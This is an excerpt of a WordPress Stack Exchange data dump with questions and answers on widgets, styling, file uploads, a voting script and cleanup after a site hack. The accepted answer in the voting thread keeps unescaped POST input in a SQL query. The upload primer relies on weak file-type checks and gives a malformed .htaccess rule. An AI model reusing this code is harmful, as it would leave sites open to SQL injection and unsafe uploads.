  <row Id="4409" PostTypeId="2" ParentId="4408" CreationDate="2010-11-22T22:32:36.327" Score="1" ViewCount="" Body="&lt;p&gt;There is a default widget that ships with WordPress called &quot;Recent Posts.&quot;  It displays a list of titles of your recent posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also several other similar widgets with different features, some of which might allow for a few lines of text.  Try searching the Plug-in Repository for &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=recent+posts&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;recent posts&lt;/a&gt;.&quot;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-22T22:32:36.327" CommentCount="3" />
  <row Id="4410" PostTypeId="1" AcceptedAnswerId="4465" CreationDate="2010-11-22T23:45:33.970" Score="0" ViewCount="203" Body="&lt;p&gt;Is there a way to change the default text paragraph style in WP without changing CSS by hand?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. I need GUI for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I want to configure padding height between paragraphs.&lt;/p&gt;&#xA;" OwnerUserId="1642" LastEditorUserId="1642" LastEditorDisplayName="" LastEditDate="2010-11-23T01:05:30.280" LastActivityDate="2010-11-23T22:29:08.330" Title="Configure paragraph style without editing CSS" Tags="&lt;plugin-recommendation&gt;&lt;stylesheet&gt;" AnswerCount="2" />
  <row Id="4411" PostTypeId="2" ParentId="4410" CreationDate="2010-11-23T00:11:08.927" Score="0" ViewCount="" Body="&lt;p&gt;Probably I get your question wrong, but CSS &lt;em&gt;is&lt;/em&gt; used to set values of padding. Even if you don't have any CSS with your site, what you see in the browser is &lt;a href=&quot;http://meiert.com/en/blog/20070922/user-agent-style-sheets/&quot; rel=&quot;nofollow&quot;&gt;the CSS the browser has built-in&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to do styling, you need to use CSS for it. There is no alternative to CSS so far, at least as long you display your site in HTML. If you instead might want to build your site in &lt;a href=&quot;http://en.wikipedia.org/wiki/Scalable_Vector_Graphics&quot; rel=&quot;nofollow&quot;&gt;SVG&lt;/a&gt;, you would have other options as to use HTML+CSS. But I assume that is not an option for you.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-23T00:11:08.927" CommentCount="1" />
  <row Id="4413" PostTypeId="2" ParentId="4307" CreationDate="2010-11-23T00:28:22.267" Score="22" ViewCount="" Body="&lt;p&gt;For anyone who wants to know more about file uploading, here's a quick primer covering the major topics and pain points. This is written with WordPress 3.0 on a Linux box in mind, and the code is just a basic overview to teach the concepts--I'm sure some folks here could offer advice for improvement on the implementation.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Outline Your Basic Approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There at least three ways to associate images with posts: using a post_meta field to store the image path, using a post_meta field to store the image's media library ID (more on that later), or assigning the image to the post as an attachment. This example will use a post_meta field to store the image's media library ID. YMMV.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Multipart Encoding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By default, WordPress' create &amp;amp; edit forms have no enctype. If you want to upload a file, you'll need to add an &quot;enctype='multipart/form-data'&quot; to the form tag--otherwise the $_FILES collection won't get pushed through at all. In WordPress 3.0, there's a hook for that. In some previous versions (not sure of the specifics) you have to string replace the form tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xxxx_add_edit_form_multipart_encoding() {&#xA;&#xA;    echo ' enctype=&quot;multipart/form-data&quot;';&#xA;&#xA;}&#xA;add_action('post_edit_form_tag', 'xxxx_add_edit_form_multipart_encoding');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Create the Meta Box and Upload Field&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I won't go far into creating meta boxes as most of you probably already know how to do it, but I'll just say that you only need a simple meta box with a file field in it. In the example below I've included some code to look for an existing image, and display it if one exists. I've also included some simple error/feedback functionality that passes errors using a post_meta field. You'll want to change this to use the WP_Error class... it's just for demonstration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xxxx_render_image_attachment_box($post) {&#xA;&#xA;    // See if there's an existing image. (We're associating images with posts by saving the image's 'attachment id' as a post meta value)&#xA;    // Incidentally, this is also how you'd find any uploaded files for display on the frontend.&#xA;    $existing_image_id = get_post_meta($post-&amp;gt;ID,'_xxxx_attached_image', true);&#xA;    if(is_numeric($existing_image_id)) {&#xA;&#xA;        echo '&amp;lt;div&amp;gt;';&#xA;            $arr_existing_image = wp_get_attachment_image_src($existing_image_id, 'large');&#xA;            $existing_image_url = $arr_existing_image[0];&#xA;            echo '&amp;lt;img src=&quot;' . $existing_image_url . '&quot; /&amp;gt;';&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;    }&#xA;&#xA;    // If there is an existing image, show it&#xA;    if($existing_image) {&#xA;&#xA;        echo '&amp;lt;div&amp;gt;Attached Image ID: ' . $existing_image . '&amp;lt;/div&amp;gt;';&#xA;&#xA;    } &#xA;&#xA;    echo 'Upload an image: &amp;lt;input type=&quot;file&quot; name=&quot;xxxx_image&quot; id=&quot;xxxx_image&quot; /&amp;gt;';&#xA;&#xA;    // See if there's a status message to display (we're using this to show errors during the upload process, though we should probably be using the WP_error class)&#xA;    $status_message = get_post_meta($post-&amp;gt;ID,'_xxxx_attached_image_upload_feedback', true);&#xA;&#xA;    // Show an error message if there is one&#xA;    if($status_message) {&#xA;&#xA;        echo '&amp;lt;div class=&quot;upload_status_message&quot;&amp;gt;';&#xA;            echo $status_message;&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;    }&#xA;&#xA;    // Put in a hidden flag. This helps differentiate between manual saves and auto-saves (in auto-saves, the file wouldn't be passed).&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;xxxx_manual_save_flag&quot; value=&quot;true&quot; /&amp;gt;';&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;function xxxx_setup_meta_boxes() {&#xA;&#xA;    // Add the box to a particular custom content type page&#xA;    add_meta_box('xxxx_image_box', 'Upload Image', 'xxxx_render_image_attachment_box', 'post', 'normal', 'high');&#xA;&#xA;}&#xA;add_action('admin_init','xxxx_setup_meta_boxes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Handling the File Upload&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the big one--actually handling the file upload by hooking into the save_post action. I've included a heavily-commented function below, but I'd like to note the two key WordPress functions it uses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp_handle_upload()&lt;/strong&gt; does all the magic of, well, handling the upload. You just pass it a reference to your field in the $_FILES array, and an array of options (don't worry too much about these--the only important one you need to set is test_form=false. Trust me). This function doesn't, however, add the uploaded file to the media library. It merely does the upload and returns the new file's path (and, handily, the full URL as well). If there's a problem, it returns an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp_insert_attachment()&lt;/strong&gt; adds the image to the media library, and generates all of the appropriate thumbnails. You just pass it an array of options (title, post status, etc), and the LOCAL path (not URL) to the file you just uploaded. The great thing about putting your images in the media library is that you can easily delete all the files later by calling wp_delete_attachment and passing it the item's media library ID (which I'm doing in the function below). With this function, you'll also need to use wp_generate_attachment_metadata() and wp_update_attachment_metadata(), which do exactly what you'd expect they do--generate metadata for the media item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function xxxx_update_post($post_id, $post) {&#xA;&#xA;    // Get the post type. Since this function will run for ALL post saves (no matter what post type), we need to know this.&#xA;    // It's also important to note that the save_post action can runs multiple times on every post save, so you need to check and make sure the&#xA;    // post type in the passed object isn't &quot;revision&quot;&#xA;    $post_type = $post-&amp;gt;post_type;&#xA;&#xA;    // Make sure our flag is in there, otherwise it's an autosave and we should bail.&#xA;    if($post_id &amp;amp;&amp;amp; isset($_POST['xxxx_manual_save_flag'])) { &#xA;&#xA;        // Logic to handle specific post types&#xA;        switch($post_type) {&#xA;&#xA;            // If this is a post. You can change this case to reflect your custom post slug&#xA;            case 'post':&#xA;&#xA;                // HANDLE THE FILE UPLOAD&#xA;&#xA;                // If the upload field has a file in it&#xA;                if(isset($_FILES['xxxx_image']) &amp;amp;&amp;amp; ($_FILES['xxxx_image']['size'] &amp;gt; 0)) {&#xA;&#xA;                    // Get the type of the uploaded file. This is returned as &quot;type/extension&quot;&#xA;                    $arr_file_type = wp_check_filetype(basename($_FILES['xxxx_image']['name']));&#xA;                    $uploaded_file_type = $arr_file_type['type'];&#xA;&#xA;                    // Set an array containing a list of acceptable formats&#xA;                    $allowed_file_types = array('image/jpg','image/jpeg','image/gif','image/png');&#xA;&#xA;                    // If the uploaded file is the right format&#xA;                    if(in_array($uploaded_file_type, $allowed_file_types)) {&#xA;&#xA;                        // Options array for the wp_handle_upload function. 'test_upload' =&amp;gt; false&#xA;                        $upload_overrides = array( 'test_form' =&amp;gt; false ); &#xA;&#xA;                        // Handle the upload using WP's wp_handle_upload function. Takes the posted file and an options array&#xA;                        $uploaded_file = wp_handle_upload($_FILES['xxxx_image'], $upload_overrides);&#xA;&#xA;                        // If the wp_handle_upload call returned a local path for the image&#xA;                        if(isset($uploaded_file['file'])) {&#xA;&#xA;                            // The wp_insert_attachment function needs the literal system path, which was passed back from wp_handle_upload&#xA;                            $file_name_and_location = $uploaded_file['file'];&#xA;&#xA;                            // Generate a title for the image that'll be used in the media library&#xA;                            $file_title_for_media_library = 'your title here';&#xA;&#xA;                            // Set up options array to add this file as an attachment&#xA;                            $attachment = array(&#xA;                                'post_mime_type' =&amp;gt; $uploaded_file_type,&#xA;                                'post_title' =&amp;gt; 'Uploaded image ' . addslashes($file_title_for_media_library),&#xA;                                'post_content' =&amp;gt; '',&#xA;                                'post_status' =&amp;gt; 'inherit'&#xA;                            );&#xA;&#xA;                            // Run the wp_insert_attachment function. This adds the file to the media library and generates the thumbnails. If you wanted to attch this image to a post, you could pass the post id as a third param and it'd magically happen.&#xA;                            $attach_id = wp_insert_attachment( $attachment, $file_name_and_location );&#xA;                            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;                            $attach_data = wp_generate_attachment_metadata( $attach_id, $file_name_and_location );&#xA;                            wp_update_attachment_metadata($attach_id,  $attach_data);&#xA;&#xA;                            // Before we update the post meta, trash any previously uploaded image for this post.&#xA;                            // You might not want this behavior, depending on how you're using the uploaded images.&#xA;                            $existing_uploaded_image = (int) get_post_meta($post_id,'_xxxx_attached_image', true);&#xA;                            if(is_numeric($existing_uploaded_image)) {&#xA;                                wp_delete_attachment($existing_uploaded_image);&#xA;                            }&#xA;&#xA;                            // Now, update the post meta to associate the new image with the post&#xA;                            update_post_meta($post_id,'_xxxx_attached_image',$attach_id);&#xA;&#xA;                            // Set the feedback flag to false, since the upload was successful&#xA;                            $upload_feedback = false;&#xA;&#xA;&#xA;                        } else { // wp_handle_upload returned some kind of error. the return does contain error details, so you can use it here if you want.&#xA;&#xA;                            $upload_feedback = 'There was a problem with your upload.';&#xA;                            update_post_meta($post_id,'_xxxx_attached_image',$attach_id);&#xA;&#xA;                        }&#xA;&#xA;                    } else { // wrong file type&#xA;&#xA;                        $upload_feedback = 'Please upload only image files (jpg, gif or png).';&#xA;                        update_post_meta($post_id,'_xxxx_attached_image',$attach_id);&#xA;&#xA;                    }&#xA;&#xA;                } else { // No file was passed&#xA;&#xA;                    $upload_feedback = false;&#xA;&#xA;                }&#xA;&#xA;                // Update the post meta with any feedback&#xA;                update_post_meta($post_id,'_xxxx_attached_image_upload_feedback',$upload_feedback);&#xA;&#xA;            break;&#xA;&#xA;            default:&#xA;&#xA;        } // End switch&#xA;&#xA;    return;&#xA;&#xA;} // End if manual save flag&#xA;&#xA;    return;&#xA;&#xA;}&#xA;add_action('save_post','xxxx_update_post',1,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Permissions, Ownership and Security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have trouble uploading, it might have to do with permissions. I'm no expert on server config, so please correct me if this part is wonky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure your wp-content/uploads folder exists, and is owned by apache:apache. If so, you should be able to set the permissions to 744 and everything should just work. The ownership is important--even setting perms to 777 sometimes won't help if the directory isn't properly owned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also consider limiting the types of files uploaded and executed using an htaccess file. This prevents people from uploading files that aren't images, and from executing scripts disguised as images. You should probably google this for more authoritative info, but you can do simple file type limiting like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files ^(*.jpeg|*.jpg|*.png|*.gif)&amp;gt;&#xA;order deny,allow&#xA;deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-23T00:28:22.267" CommentCount="3" />
  <row Id="4414" PostTypeId="2" ParentId="2401" CreationDate="2010-11-23T00:48:20.750" Score="2" ViewCount="" Body="&lt;p&gt;It works just fine for me. Do you have a post also named author or something? You may have some conditional statement somewhere that is dependent on the working permalink structure.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-11-23T00:48:20.750" CommentCount="1" />
  <row Id="4415" PostTypeId="2" ParentId="3967" CreationDate="2010-11-23T00:52:56.720" Score="1" ViewCount="" Body="&lt;p&gt;Are you talking about the hovercards for gravatar users? It's available on WP.com, not for self-install sites. However, there's a fairly easy hack to get it working anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this article:&#xA;&lt;a href=&quot;http://ottopress.com/2010/gravatar-hovercards/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/gravatar-hovercards/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-11-23T00:52:56.720" CommentCount="1" />
  <row Id="4416" PostTypeId="2" ParentId="199" CreationDate="2010-11-23T01:21:20.230" Score="1" ViewCount="" Body="&lt;p&gt;Since nobody mentioned it yet, one of the most important steps to enhance server performance in conjunction with any LAMP setup would be to switch to apache worker thread and mod_fcgid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This freed up 500MB of memory on my virtual private server. &lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2010-11-23T01:21:20.230" CommentCount="2" />
  <row Id="4417" PostTypeId="1" AcceptedAnswerId="4418" CreationDate="2010-11-23T01:33:07.500" Score="0" ViewCount="105" Body="&lt;p&gt;This div element is causing a big gap on my wordpress page, specifically on the single post page. It's nowhere in the themes, I can't seem to find where this div element is coming from. Have you encountered this before (the highlighted element)?&#xA;&lt;img src=&quot;http://i.stack.imgur.com/0meHU.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;: Happens on chrome only.&#xA;&lt;strong&gt;UPDATE:&lt;/strong&gt; Still having this problem even with the stable chrome. Help anybody?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;: I think its the syntax highlighter plugin. And I also found out all other wordpress blogs (that I've checked) have this div. And the code's height in the post adds to the height of the div.&lt;/p&gt;&#xA;" OwnerUserId="1209" LastEditorUserId="1209" LastEditorDisplayName="" LastEditDate="2010-11-23T04:57:30.583" LastActivityDate="2010-11-23T17:21:47.980" Title="Where's did this div element come from?" Tags="&lt;3.0.1&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="4418" PostTypeId="2" ParentId="4417" CreationDate="2010-11-23T01:53:13.777" Score="0" ViewCount="" Body="&lt;p&gt;It looks to me like JavaScript for your lightbox.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this only happens in Chrome, there is a rendering bug that has gone unfixed for quite some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add height:100%;  to the body or html element in your css.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-11-23T17:21:47.980" LastActivityDate="2010-11-23T17:21:47.980" CommentCount="2" />
  <row Id="4419" PostTypeId="2" ParentId="4417" CreationDate="2010-11-23T02:08:58.487" Score="1" ViewCount="" Body="&lt;p&gt;I agree, your lightbox plugin generated it&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-23T02:08:58.487" CommentCount="3" />
  <row Id="4420" PostTypeId="1" AcceptedAnswerId="4424" CreationDate="2010-11-23T02:20:23.073" Score="1" ViewCount="139" Body="&lt;p&gt;Part of a voting script I'm working on: I'm checking a custom table in my WP database to see if a user already voted for a post by checking the IP address and the post id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user's IP already exists for the post they voted, I want to echo &quot;Already voted!&quot; otherwise add the IP. This is what I came up with..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$voter_ip = $_SERVER['REMOTE_ADDR']; &#xA;$post_id = $_POST['post_id'];&#xA;&#xA;if (!($wpdb-&amp;gt;get_row(&quot;SELECT voter_ip FROM wp_voter_ips WHERE post_id = $post_id AND voter_ip = $voter_ip&quot;) ) ) { //if IP address for matching post id not found in wp_voter_ips table&#xA;$wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . 'voter_ips', array( 'post_id' =&amp;gt; $post_id, 'voter_ip' =&amp;gt; $voter_ip ) ); //add IP and post_id&#xA;echo &quot;voted!&quot;;&#xA;}&#xA;else //if IP already exists&#xA;{&#xA;echo &quot;Already voted!&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I triple checked to make sure the variables and column names are correct. Regardless of the if statement, it inserts the voters IP even when it already exists.&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-23T03:44:15.980" Title="if statement on database query" Tags="&lt;php&gt;&lt;database&gt;&lt;wp-query&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="4422" PostTypeId="1" AcceptedAnswerId="4441" CreationDate="2010-11-23T03:04:04.540" Score="1" ViewCount="111" Body="&lt;p&gt;&lt;em&gt;Off Topic? Maybe, point me to where this would be On Topic!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi All,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My daughter attends a private school. Recently their wordpress website was hacked and they need some help cleaning it up. I don't have the experience with wordpress to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there services or websites that they could use to find the expertise to help with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course they would be compensated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a description of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;-DF5&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for getting back to me. We are trying to detect any possible back&#xA;  door vulnerabilities in our Wordpress installation that may be allowing&#xA;  scripts or bots to place malicious code on our website. We have been hit by&#xA;  a specific drug company. This code seems to turn up in our pHp files. The&#xA;  original problem was that people who clicked twice on any page of our site&#xA;  were redirected to this drug website!!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have cleaned the installation manually, but there may still be scripts&#xA;  running in the database or remaining vulnerabilities because we did not want&#xA;  a re-installation of a clean version of Wordpress. We have scanned the&#xA;  database and there appear to be no known rogue files, but we are concerned&#xA;  that there may still be scripts running that are very well hidden. We&#xA;  basically  need someone to start by looking through our files to see if&#xA;  there is something we and the scan missed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is a lot of customization we did on our website and are trying to&#xA;  avoid a clean install. We are also in contact with Dream Host (our hosting&#xA;  company) to see if it is a server issue as we are uncertain if this is a&#xA;  Wordpress vulnerability via a plugin or a server issue that Dream Host can&#xA;  resolve.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The website seems to be functioning well now, we are mainly trying to&#xA;  prevent another problem and to eradicate any malicious code so we are not&#xA;  penalized in the search engines.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1667" LastActivityDate="2010-11-23T14:16:51.570" Title="Need help cleaning up a wordpress site after being hacked" Tags="&lt;admin&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="4423" PostTypeId="1" AcceptedAnswerId="4476" CreationDate="2010-11-23T03:41:51.210" Score="1" ViewCount="554" Body="&lt;p&gt;Hello I am wandering if anyone can recommend, from first hand experience, a reasonably simple CRM or project management plugin for wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1105/a-simple-crm-plugin-for-wordpress&quot;&gt;this question on the topic.&lt;/a&gt; But am looking for slightly more detail and if possible someone who has actually used one of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality I am looking for is to be able to store contacts, share files, have a forum/message board or even chat type area and some simple task/project management functions such as assigning cases to team members. One more thing, if possible users should be able to select their preferred language, preferably at least with English and Simplified Chinese, although I accept this may not be possible or may require manual translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used both sugarcrm and vtiger, but have found that them to be a bit bloated and was wondering if any of the wordpress option available would be suitable for our needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-24T05:56:33.153" Title="Can anyone recommend a wordpress based CRM/Project Management system or plugin?" Tags="&lt;plugin-recommendation&gt;&lt;crm&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4424" PostTypeId="2" ParentId="4420" CreationDate="2010-11-23T03:44:15.980" Score="2" ViewCount="" Body="&lt;p&gt;On your &lt;code&gt;if()&lt;/code&gt;, it should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!($wpdb-&amp;gt;get_row(&quot;SELECT voter_ip FROM &quot; . $wpdb-&amp;gt;prefix . &quot;voter_ips WHERE post_id = $post_id AND voter_ip = '$voter_ip'&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the quotation mark added on &lt;code&gt;$voter_ip&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-23T03:44:15.980" CommentCount="3" />
  <row Id="4425" PostTypeId="2" ParentId="4422" CreationDate="2010-11-23T03:58:09.073" Score="0" ViewCount="" Body="&lt;p&gt;Dr Floyd,&#xA; More than likely it was a botnet that went through a bunch of sites and found a vulnerability, and then exploited it. I can help you go through the files, but you should be prepared for to upgrade your WordPress installation. These hacks are fairly common, they aren't done by a specific drug company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reach me here, or if you go to our website, you can call me directly. (Zippykid.com) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to setup a dev environment with a new version of WordPress, copy over your theme, and import all the posts into this environment. Then apply any of the settings as needed. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-11-23T03:58:09.073" />
  <row Id="4426" PostTypeId="1" CreationDate="2010-11-23T05:53:34.553" Score="0" ViewCount="135" Body="&lt;p&gt;Whenever I try to update my Permalink settings or use the Theme Editor to modify some file, I am redirected to a 404 page. This also happens when I update the All-In-One SEO Pack plugin's settings. This does &lt;strong&gt;not&lt;/strong&gt; happen in the case of other settings pages or plugin options. I have tried re-uploading WordPress from a fresh local copy, and have also tried deactivating all plugins. My hosting provider has given up, blaming WordPress. What is wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things I suspect:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My &lt;code&gt;.htaccess&lt;/code&gt; file. I am not using anything extra, other than turning off &lt;code&gt;mod_security&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Suhosin. After a recent security breach, my provider recompiled PHP with Suhosin. I have disabled it currently, which solved a lot of compatibility problems with other plugins.&lt;/li&gt;&#xA;&lt;li&gt;File/folder permissions.&lt;/li&gt;&#xA;&lt;li&gt;PHP memory issues, maybe?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-11-23T11:54:46.347" Title="404 errors when updating options in admin dashboard" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;wp-admin&gt;&lt;errors&gt;&lt;security&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4427" PostTypeId="2" ParentId="4422" CreationDate="2010-11-23T07:45:06.677" Score="2" ViewCount="" Body="&lt;p&gt;I've cleaned quite a few hacks before. It's a multi-step process that's somewhat difficult to outline here. However, these folks (http://sucuri.net/) have become the go-to company for a lot of people. Reputable and thorough. (I'm not affiliated with them in any way, shape, or form.)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-23T07:45:06.677" />
  <row Id="4428" PostTypeId="1" CreationDate="2010-11-23T09:34:48.583" Score="0" ViewCount="126" Body="&lt;p&gt;I'm trying to add a new INPUT field to the blog creation form on Buddypress. Adding the front-end element is the easy part. I'm having some hard time trying to save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable is a string, and I've added &lt;code&gt;wpmu_new_blog&lt;/code&gt; a function that adds the variable as an &lt;code&gt;option&lt;/code&gt; (&lt;code&gt;add_option('name','value');&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the fact I've specified &lt;code&gt;global $variable&lt;/code&gt; in the function, the variable won't pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:22:44.240" LastActivityDate="2011-08-06T15:39:51.067" Title="How to add a new variable to blog creation form?" Tags="&lt;buddypress&gt;&lt;options&gt;&lt;forms&gt;&lt;variables&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4429" PostTypeId="1" CreationDate="2010-11-23T10:18:42.397" Score="0" ViewCount="200" Body="&lt;p&gt;hi&#xA;how to create advanced search with out plugin, create with form &#xA;    * Support for &quot;+&quot; (must have) and &quot;-&quot; (must not have)&#xA;    * Search title, content, excerpt, taxonomies or comments (or any combination thereof)&#xA;    * Search within a date&#xA;    * Search for at least one word in phrase&#xA;    * Search exact phrase&#xA;    * Search for combinations of exact phrase and any words&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T15:25:51.120" LastActivityDate="2010-11-23T15:25:51.120" Title="a better search?" Tags="&lt;plugin-recommendation&gt;&lt;search&gt;" AnswerCount="3" />
  <row Id="4430" PostTypeId="1" AcceptedAnswerId="4449" CreationDate="2010-11-23T10:30:57.730" Score="3" ViewCount="252" Body="&lt;p&gt;I  am using  &lt;a href=&quot;http://wordpress.org/extend/plugins/breadcrumb-navxt/&quot; rel=&quot;nofollow&quot;&gt;Breadcrumb NavXT&lt;/a&gt; plug-in in my pages but now I am facing a problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to  hide the &quot;Home&quot; link in some pages. I can do that either by hiding it in CSS or  by  not creating it at all. in PHP  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to use CSS  -  I dont have any indication for first link and its &quot;&gt;&gt;&quot; separator  - there is no id or special class for it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go for the PHP solution of not creating it at all  in those cases  -  my problem is  I can't send  any parameters  to the &quot;bcn_display()&quot; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do it with my current plug-in or  there is a better one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks! &lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T16:32:54.277" LastActivityDate="2010-11-28T06:22:25.510" Title="recommended breadcrumb plugins with possibility for hiding &quot;Home&quot; link" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;breadcrumb&gt;" AnswerCount="5" />
  <row Id="4431" PostTypeId="2" ParentId="4429" CreationDate="2010-11-23T10:34:24.700" Score="1" ViewCount="" Body="&lt;p&gt;Use Google Custom Search - the following links show you how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://teamtutorials.com/web-development-tutorials/replace-wordpress-search-with-google-search-box&quot; rel=&quot;nofollow&quot;&gt;http://teamtutorials.com/web-development-tutorials/replace-wordpress-search-with-google-search-box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.davidrisley.com/how-to-replace-your-wordpress-search-with-google/&quot; rel=&quot;nofollow&quot;&gt;http://www.davidrisley.com/how-to-replace-your-wordpress-search-with-google/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-23T10:34:24.700" CommentCount="3" />
